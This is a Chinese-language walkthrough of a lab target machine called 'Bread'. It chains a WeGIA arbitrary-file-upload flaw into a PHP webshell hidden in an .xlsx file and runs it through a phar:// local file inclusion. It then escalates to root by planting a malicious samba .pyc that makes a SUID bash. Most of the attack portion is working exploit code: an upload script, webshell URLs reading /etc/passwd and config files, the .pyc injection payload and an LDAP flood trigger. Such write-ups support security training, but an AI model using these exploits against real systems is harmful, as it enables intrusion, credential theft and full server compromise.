Bread 域渗透靶机
原创
Serendipity
Serendipity
Serendipity的小屋
2026年7月24日 13:59
山西
在小说阅读器读本章
去阅读
信息收集
先进行端口扫描,扫出一堆,先看看80端口
访问页面,发现是一个WeGIA,搜索一下
是一个福利机构的管理平台,看到了一个账号密码
登录后台
用给的账号密码登录一下
发现一大堆可以跳转的页面,随便点点
发现好多点不开
最后研究了一下,是因为没有添加host,添加一下host
这才像一个真正的管理页面
漏洞复现
在网上搜索了一下相关知识,发现这个网站存在任意文件上传
WeGIA 的 Sócio模块中,controla_xlsx_cobranca.php允许上传.xlsx文件,但不校验文件内容,只检查扩展名找到上传点
利用步骤:
1.创建包含 shell.php 的 ZIP 文件:
<?php echo \"ZSHELL_OK\
\"; system($_GET[\"c\"]); echo \"\
ZSHELL_END\"; ?>
1.然后用任何 ZIP 工具把它打包成 shell.xlsx 并通过该接口上传2.利用 PHP zip:// 协议包含 ZIP 内的 PHP 文件实现 RCE:
但是这里尝试了很多次,并没有成功,问了ai之后说是不稳定
直接上传可能会返回 \"Erro ao mover o arquivo\" 错误,因为上传处理器在没有正确上下文时可能无法移动文件。
正确做法是通过 LFI 包含这个 PHP 文件来触发上传。control.php 的 include() 会把 controla_xlsx_cobranca.php 的代码包含进来执行,同时处理我们 POST 的文件上传。
上传脚本
#!/usr/bin/env python3\"\"\"上传 shell.xlsx 到靶机\"\"\"import requestsimport zipfileimport ioimport sys
if sys.platform == 'win32': import io as sysio sys.stdout = sysio.TextIOWrapper(sys.stdout.buffer, encoding='utf-8', errors='replace')
TARGET = \"http://192.168.0.102\"
# 登录session = requests.Session()session.post(f'{TARGET}/html/login.php', data={'c': 'true', 'cpf': 'admin', 'id_pessoa': '1'}, allow_redirects=False, timeout=15)print(f\"Login: PHPSESSID={session.cookies.get('PHPSESSID')}\")
# 读取本地 shell.xlsxwith open(\"shell.xlsx\", \"rb\") as f: malicious_xlsx = f.read()
# 上传files = {'arquivo': ('shell.xlsx', malicious_xlsx, 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet')}data = {'nomeClasse': '../../socio/sistema/controller/controla_xlsx_cobranca', 'metodo': 'x', 'args': 'x'}
r = session.post(f'{TARGET}/html/contribuicao/controller/control.php', files=files, data=data, timeout=30, allow_redirects=False)print(f\"Status: {r.status_code}\")print(f\"Response: {r.text[:200]}\")
# 验证r = session.get(f'{TARGET}/html/contribuicao/tabelas/cobrancas/shell.xlsx', timeout=10)if r.status_code == 200: print(\"shell.xlsx 上传成功\")else: print(\"上传失败\")
上传成功后可验证是否成功,访问http://192.168.0.102/html/contribuicao/tabelas/cobrancas/shell.xlsx会发现下载了刚刚上传的文件
现在文件已上传,通过 phar:// 流包装器 + LFI 来包含 ZIP 内的 PHP 代码
浏览器访问:
http://192.168.0.102/html/contribuicao/controller/control.php?nomeClasse=phar://../tabelas/cobrancas/shell.xlsx/shell&metodo=x&args=x&c=id
RCE 成功! 以
www-data身份执行命令。
原理详解:
1.nomeClasse = phar://../tabelas/cobrancas/shell.xlsx/shell2.include() 追加 .php → phar://../tabelas/cobrancas/shell.xlsx/shell.php3.phar:// 包装器打开 shell.xlsx(ZIP格式),读取其中的 shell.php 条目4.PHP 解析并执行 shell.php 中的代码5.system($_GET[\"c\"]) 执行 id 命令
获取用户flag
现在有了 RCE,用 c 参数执行命令:
查找 flag 文件:
http://192.168.0.102/html/contribuicao/controller/control.php?nomeClasse=phar://../tabelas/cobrancas/shell.xlsx/shell&metodo=x&args=x&c=find+/+-maxdepth+5+-name+\"user.txt\"+2>/dev/null
发现flag文件/home/BREAD/ll104567/user.txt
读取 flag:
http://192.168.0.102/html/contribuicao/controller/control.php?nomeClasse=phar://../tabelas/cobrancas/shell.xlsx/shell&metodo=x&args=x&c=cat+/home/BREAD/ll104567/user.txt
得到flag
ssh连接
通过 webshell 枚举系统用户,发现 ahiz 用户
http://192.168.0.102/html/contribuicao/controller/control.php?nomeClasse=phar://../tabelas/cobrancas/shell.xlsx/shell&metodo=x&args=x&c=cat+/etc/passwd
查看 WeGIA 配置
http://192.168.0.102/html/contribuicao/controller/control.php?nomeClasse=phar://../tabelas/cobrancas/shell.xlsx/shell&metodo=x&args=x&c=cat+/var/www/html/config.php
查看源代码
得到数据库的配置,
成功连接
提权
以 ahiz 身份检查提权路径:
•sudo -l → 无权限•SUID → 只有 ksu.mit(需 Kerberos 票据,无用)•可写 systemd 服务 → 全部 masked(符号链接到 /dev/null),写入无效•/usr/local/bin/irc_bot.py → ahiz 可写但服务 disabled
关键发现:
ls -la /usr/lib/python3/dist-packages/samba/__pycache__/
__pycache__ 目录权限 777 且无 sticky bit — 任何用户可删除其中的文件,包括 root 拥有的 .pyc。
同时发现 ptrace_scope=0(任意用户可 ptrace 任意进程)
Python \\_pycache\\_ 注入攻击
原理: 当 Python 导入 samba 模块时,解释器会在 __pycache__/ 中查找 .pyc 缓存文件。如果该文件被替换为恶意版本,导入时会执行其中的恶意代码。
步骤一:删除原始 .pyc
rm /usr/lib/python3/dist-packages/samba/__pycache__/__init__.cpython-313.pyc
步骤二:创建恶意 .pyc
编写 Python 脚本,读取原始 __init__.py 的源码,在末尾注入 payload,编译为 .pyc 写入:
import os, struct, marshal, importlib.util
samba_pkg = \"/usr/lib/python3/dist-packages/samba\"init_py = os.path.join(samba_pkg, \"__init__.py\")pyc_name = os.path.join(samba_pkg, \"__pycache__\", \"__init__.cpython-313.pyc\")
with open(init_py, 'rb') as f: source = f.read()
# 注入 payloadpayload = b\"\"\"import os as _ostry: _os.system(\"cp /bin/bash /var/tmp/.rootbash && chown root:root /var/tmp/.rootbash && chmod 4755 /var/tmp/.rootbash\")except: passtry: with open('/root/root.txt', 'r') as _f: _content = _f.read() with open('/home/ahiz/.root_flag.txt', 'w') as _f2: _f2.write(_content) _os.chown('/home/ahiz/.root_flag.txt', 1000, 1000) _os.chmod('/home/ahiz/.root_flag.txt', 0o644)except: pass\"\"\"
modified_source = source + payloadcode = compile(modified_source, init_py, 'exec')
# 写入 .pyc(含正确的 magic number 和头信息)stat = os.stat(init_py)mtime = int(stat.st_mtime)size = stat.st_sizemagic = importlib.util.MAGIC_NUMBER
with open(pyc_name, 'wb') as f: f.write(magic) f.write(struct.pack('<I', 0)) # flags f.write(struct.pack('<I', mtime)) # timestamp f.write(struct.pack('<I', size)) # source size f.write(marshal.dumps(code))
步骤三:触发 root 进程导入恶意模块
Samba AD DC 以 root 身份运行,Restart=no 且 WatchdogUSec=0,不会自动重启。通过 LDAP flood 攻击强制 samba 生成新的子进程:
import socket, threading
def ldap_flood(): for i in range(30): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(3) s.connect((\"127.0.0.1\", 389)) s.send(b'\\x30\\x0c\\x02\\x01\\x01\\x60\\x07\\x02\\x01\\x03\\x04\\x00\\x80\\x00') s.close() except: pass
threads = [threading.Thread(target=ldap_flood) for _ in range(30)]for t in threads: t.start()for t in threads: t.join()
新 samba 子进程在处理 LDAP 请求时导入 samba 模块 → 执行恶意 .pyc → 以 root 身份执行 payload → 创建 SUID bash。
步骤四:验证 SUID bash
步骤五:获取 root flag
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论